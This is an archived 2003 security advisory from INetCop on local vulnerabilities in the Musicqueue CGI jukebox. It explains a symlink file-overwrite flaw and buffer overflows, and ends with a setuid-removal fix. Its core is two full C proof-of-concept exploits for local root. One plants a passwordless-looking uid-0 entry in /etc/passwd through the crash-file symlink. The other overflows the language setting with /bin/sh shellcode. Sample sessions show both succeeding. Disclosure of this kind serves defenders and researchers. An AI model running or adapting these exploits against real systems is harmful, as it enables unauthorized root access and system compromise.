<<< Date Index >>>     <<< Thread Index >>>

Musicqueue multiple local vulnerabilities




        ========================================
        INetCop Security Advisory #2003-0x82-020
        ========================================


* Title: Musicqueue multiple local vulnerabilities


0x01. Description


Musicqueue is a CGI music jukebox using external tools to play the files.
Because of that it supports several formats. It supports two modes, enqueue and 
vote.
In vote mode users can vote on music and the song with the most votes is played.
In enqueue mode, songs are enqueued and the one that's been in the playlist the 
longest is played.
It is themable through CSS and has many configuration options

More detailed information is: http://musicqueue.sourceforge.net/

setuid, setgid is established as user competence that musicqueue installs 
program by `make suid' setup.
Because of, setuid, setgid is established as root competence when installed it 
as root competence.
Or, setuid, setgid is established when general user installed.

`musicqueue.cgi' program in itself when SIGSEGV signal called, 
`/tmp/musicqueue.crash' file create.
And, CGI program stores environment variables that used to these contents.
For example, it's QUERY_STRING, REQUEST_METHOD, HTTP_COOKIE etc ...
(to examine segfault cause)

    --
    36  void crash(int signal)
    37  {
    38          gcgiSaveEnvVariables("/tmp/musicqueue.crash"); // gcgi library 
function
    39          exit(-1);
    40  }
    41
    42  int main(void)
    43  {
    44          char mode[100];
    45
    46          signal(SIGSEGV, crash);
    --

Vulnerability happens in case segfault happens.
It may overwrite CGI environment variable contents in `/tmp/musicqueue.crash' 
file.
If `/tmp/musicqueue.crash' file, other file symbolic-link do can, exploit is 
possible in local.

This program has some buffer overflow bug.
Also, have essential factor that segfault can happen.

Vulnerability exists in openLang function to translate.c

    --
    34  char openLang(char *lang)
    35  {
    36          char lfilename[20];
        ...
    43          sprintf(lfilename, "languages/language.%s", lang);
    --

Buffer overflow is possible by this. However, see next code.

    --
    51  void initTrans(void)
    52  {
    53          char *http_accept, *language;
    54
    55          http_accept = getenv("HTTP_ACCEPT_LANGUAGE");
    56
    57          if (http_accept) {
    58                  while (1) {
    59                          sscanf(http_accept, "%a[a-z]", &language);
    60                          if (openLang(language)) {
    61                                  free(language);
    62                                  return;
    63                          }
        ...
    --

Input is possible from a to z in language variable that is copied in 
http_accept.
Therefore, can't change to place that want return address directly.
Anyway, do this buffer overflow to do exploit in local.

If the reason uses HTTP_ACCEPT_LANGUAGE variable, when segfault happened,
because it remains minimum environment variable contents in 
`/tmp/musicqueue.crash' file .
If use this essential factors, it's possible that acquire root in local.

The following is local overflow vulnerability that have at `v-0.9 ~ 1.1.1' 
version.
Similarly, vulnerability exists in openLang function to translate.c

Let's examine code.

    --
    52          /*
    53           * Check if preferred language didn't exist. Use default
    54           * in that case.
    55           */
    56          if (lfile == NULL) {
    57                  language = getConf("language", NULL);
    58                  if (language) {
    59                          langExists(language);
    60                          free(language);
    61                  }
    62          }
    --

Yes, is interesting. getConf() function is used when read setting in config 
file.
Overflow of language variable happens from langExists function.
Now, can do exploit easily.

More detailed item references `Proof of Concept' code.


0x02. Vulnerable Packages


Vendor site: http://musicqueue.sourceforge.net/

musicqueue-1.2.0 (local file overwrite exploit)
-musicqueue-1.2.0.tar.gz 
+Unix
+Linux
+Other

musicqueue-0.9 ~ musicqueue-1.1.1 (local buffer overflow exploit)
-musicqueue-1.1.1.tar.gz
-musicqueue-1.1.0.tar.gz
-musicqueue-1.0.0.tar.gz
-musicqueue-1.0.0-rc1.tar.gz
-musicqueue-0.9.2.tar.gz
-musicqueue-0.9.1.tar.gz
-musicqueue-0.9.tar.gz
+Unix
+Linux
+Other


0x03. Exploit


Attached code is local file overwrite exploit and local buffer overflow exploit.
If succeed to exploit, attacker can get user's competence which install 
musicqueue in local.

#1) symbolic-link file overwrite exploit:

=== 0x82-Local.musicqueue_xpl.c ===

/*
**
** 0x82-Local.musicqueue_xpl -
** musicqueue.cgi v-1.2.0 local root `Proof of Concept' exploit
**
** This may add user of `REQUEST_METHOD=GET' in `/etc/passwd' file.
** And, the password is `x82'.
**
** I installed musicqueue by root. (make install-suid)
** 
** --
** [root@testsub musicqueue]# ls -al musicqueue.cgi
** -rwsr-sr-x   1 root     root        67540 Jul 20 14:54 musicqueue.cgi
** [root@testsub musicqueue]# su x82
** [x82@testsub musicqueue]$ head -1 /etc/passwd
** root:x:0:0:root:/root:/bin/bash
** [x82@testsub musicqueue]$ gcc -o 0x82-Local.musicqueue_xpl 
0x82-Local.musicqueue_xpl.c
** [x82@testsub musicqueue]$ ./0x82-Local.musicqueue_xpl
**
**  0x82-Local.musicqueue_xpl - musicqueue.cgi v-1.2.0 POC exploit.
**
** [x82@testsub musicqueue]$ head -1 /etc/passwd
** REQUEST_METHOD=GET:$1$jDra3UN4$4jyyrr1pc00PRZnmlyFw91:0:0::/:/bin/sh
** [x82@testsub musicqueue]$ su REQUEST_METHOD=GET
** Password: (password is 'x82')
** [REQUEST_METHOD=GET@testsub musicqueue]# id
** uid=0(REQUEST_METHOD=GET) gid=0(root) groups=0(root)
** [REQUEST_METHOD=GET@testsub musicqueue]#
** --
**
** Don't like user's name so. :-p
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@xxxxxxxxxxx>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

#define REDHAT_7X
#undef REDHAT_7X /* touch me! */

#define DEF_TG_PATH "./musicqueue.cgi"
#define CRASH_CORE_PATH "/tmp/musicqueue.crash"
#define WRT_PASSWD_PATH "/etc/passwd"
#define REQUEST_METHOD_MK "GET" /* Username: REQUEST_METHOD=GET */
#define S_TOKEN 0x3a
#define S_PASS "$1$jDra3UN4$4jyyrr1pc00PRZnmlyFw91" /* Password: x82 */
#define DCR_PASS "x82"
#define USER_UID 0x0 /* Uid,Gid: 0 */
#define USER_GID 0x0
#define ROOT_PWD 0x2f /* Homedir: / */
#define SHELL_PATH "/bin/sh" /* Shell: /bin/sh */
#define TTL_FORMAT_STR "%s%c%s%c%d%c%d%c%c%c%c%s\n"
#define STK_OVERFLOW_STR "aaaa"
#define S_ENV_PTE "REQUEST_METHOD"
#define S_ENV_PTO "HTTP_ACCEPT_LANGUAGE"
#ifdef REDHAT_7X
#define S_ENV_PTH "QUERY_STRING"
#endif
#define DEF_ZR 0
#define DEF_NR 1
#define DEF_MN -1
#define SZ_DEF_BR (0x82)
#define DEF_LEN (1024)

int main(void)
{
        FILE *fp=(NULL);
        char atk_str[(SZ_DEF_BR)],ttl_str_bf[(DEF_LEN)];
        int r=(DEF_ZR),r_r=(DEF_ZR);

        fprintf(stdout,"\n 0x82-Local.musicqueue_xpl - musicqueue.cgi v-1.2.0 
POC exploit.\n\n");

        memset((char *)atk_str,(DEF_ZR),sizeof(atk_str));
        snprintf(atk_str,sizeof(atk_str)-1,(TTL_FORMAT_STR),
                (REQUEST_METHOD_MK),(S_TOKEN),(S_PASS),(S_TOKEN),
                (USER_UID),(S_TOKEN),(USER_GID),(S_TOKEN),(S_TOKEN),
                (ROOT_PWD),(S_TOKEN),(SHELL_PATH));

        if((fp=fopen((WRT_PASSWD_PATH),"r"))==NULL)
                return((DEF_MN));

        memset((char *)ttl_str_bf,(DEF_ZR),sizeof(ttl_str_bf));
        for(r_r=(DEF_ZR);r_r<strlen(atk_str);r_r++)
                ttl_str_bf[r_r]=atk_str[r_r];

        while(fread(&r,(DEF_NR),(DEF_NR),fp))
                ttl_str_bf[r_r++]=(r);

        fclose(fp);
        ttl_str_bf[strlen(ttl_str_bf)-1]='\0';

        /* REQUEST_METHOD=GET:...:...:... passwd contents ... */
        setenv((S_ENV_PTE),(ttl_str_bf),strlen(ttl_str_bf));
        /* Stack Overflow. yeh, Its segfault happens. */
        setenv((S_ENV_PTO),(STK_OVERFLOW_STR),strlen(STK_OVERFLOW_STR));

#ifdef REDHAT_7X
        atk_str[strlen(atk_str)-1]='\0';
        setenv((S_ENV_PTH),(atk_str),strlen(atk_str));
#endif

        /* File Symbolic Link. */
        unlink(CRASH_CORE_PATH);
        symlink((WRT_PASSWD_PATH),(CRASH_CORE_PATH));

        /* Execute, Local CGI. */
        execl((DEF_TG_PATH),(DEF_TG_PATH),(NULL));
}

=== eof ===

#2) local buffer overflow exploit:

=== 0x82-musicqueue_over.c ===

/*
**
** 0x82-musicqueue_over - musicqueue.cgi local root `Proof of Concept' exploit
**
** This is general overflow exploit.
**
** --
** bash-2.04$ ./0x82-musicqueue_over /tmp/musicqueue-1.1.1/musicqueue.cgi
**
** 0x82-musicqueue_over - musicqueue.cgi v-0.9~1.1.1 `Proof of Concept'
**
** sh-2.04# id
** uid=0(root) gid=0(root) groups=500(x82)
** sh-2.04# 
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@xxxxxxxxxxx>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
*/

#include <stdio.h>

int main(int argc,char *argv[])
{
        FILE *fp;
        int r_rn=0;
        char *ent_r[3],atck_d[0x82];
        char shellcode[]=
                "\220@\220@\220@\220@\220@\220@\220@\220@\220@"
                "\220@\220@\220@\220@\220@\220@\220@\220@\220@"
                "1\300\260F1\3331\311\315\2001\300\260G1\3331"
                "\311\315\200\353\037^\211v\b1\300\210F\007"
                "\211F\f\260\013\211\363\215N\b\215V\f\315\2001"
                "\333\211\330@\315\200\350\334\377\377\377"
                "/bin/sh";

        unsigned long sh_addr=(0xbfffffff-(strlen(shellcode)));
        memset((char *)atck_d,0,sizeof(atck_d));

        fprintf(stdout,"\n 0x82-musicqueue_over - musicqueue.cgi v-0.9~1.1.1 
POC exploit.\n\n");

        if(argc<2)
        {
                fprintf(stdout," Usage: %s [musicqueue.cgi path]\n\n",argv[0]);
                exit(-1);
        }
        else sh_addr-=(strlen(argv[1]));

        atck_d[r_rn++]=0x82;
        for(;r_rn<44;r_rn+=4)
        {
                *(long *)&atck_d[r_rn]=sh_addr;
        }

        if((fp=fopen("musicqueue.conf","w"))==NULL)
        {
        fprintf(stderr," [-] musicqueue.conf fopen() error.\n\n");
        return(-1);
        }
        fprintf(fp,"language = %s\n",atck_d);
        fclose(fp);

        ent_r[0]="REQUEST_METHOD=GET";
        ent_r[1]=(shellcode);
        ent_r[2]=(NULL);
        execle(argv[1],"musicqueue.cgi",NULL,ent_r);
}

=== eof ===


0x04. Patch


Most unartificially, there is method to remove established setuid, setgid.
After remove setuid, setgid, establish again upload directory permission.

# chmod 1777 /music/upload
or,
# chgrp nobody /music/upload && chmod 770 /music/upload

--
Thank you.


P.S: Sorry, for my poor english.


--
By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: szoahc(at)hotmail(dot)com,
              xploit(at)hackermail(dot)com

INetCop Security Home: http://www.inetcop.org (Korean hacking game)
             My World: http://x82.i21c.net & http://x82.inetcop.org

GPG public key: http://x82.inetcop.org/h0me/pr0file/x82.k3y
--


-- 
_______________________________________________
Get your free email from http://www.hackermail.com

Powered by Outblaze